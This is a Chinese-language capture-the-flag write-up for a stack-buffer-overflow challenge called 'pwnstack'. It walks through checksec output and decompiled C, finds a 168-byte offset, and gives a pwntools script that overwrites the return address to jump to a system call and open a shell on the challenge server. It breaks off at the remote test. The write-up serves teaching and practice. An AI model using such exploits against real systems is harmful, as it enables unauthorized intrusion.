pwnstack
题目地址 pwnstack
0x1
下载文件到本地后,首先,file 看看文件类型,顺便看看保护机制。
sakura@Kylin:~/下载/pwnstack$ file pwn2
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62aa40d64871e142a32827b4e403772e72f67fba, not stripped
sakura@Kylin:~/下载/pwnstack$ checksec pwn2
[*] '/home/sakura/下载/pwnstack/pwn2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看到,这是一个 64 位程序,并且只开启了 NX 保护机制。
0x2
再拖进 IDA 中看看源码。
__int64 vuln()
{
char buf[160]; // [rsp+0h] [rbp-A0h] BYREF
memset(buf, 0, sizeof(buf)); //将 buf全部置为 0
read(0, buf, 0xB1uLL); //0xB1 = 177 bytes
return 0LL;
}
__int64 initsetbuf()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return 0LL;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
initsetbuf(argc, argv, envp);
puts("this is pwn1,can you do that??");
vuln();
return 0;
}
由于只开启了 NX,只需溢出 buf 覆盖函数返回值即可。
peda$ pattern create 200
peda$ pattern offset .........
得到填充长度为 168 byte
0x3
先看看 pwn2 中是否有 system() 调用,如果有就不用我们自己构建了。
from pwn import*
#sh = process("./pwn2")
sh = remote('61.147.171.105', 54665)
#context.log_level = 'debug'
system= 0x400766
# 这里我用 0x400766,而不是 0x400762,是因为不能破坏栈的结构。
payload = b'a'*(0xa0)+ b'a'*8 + p64(system)
sh.recv()
sh.sendline(payload)
sh.interactive()
0x4
测试
远程测试: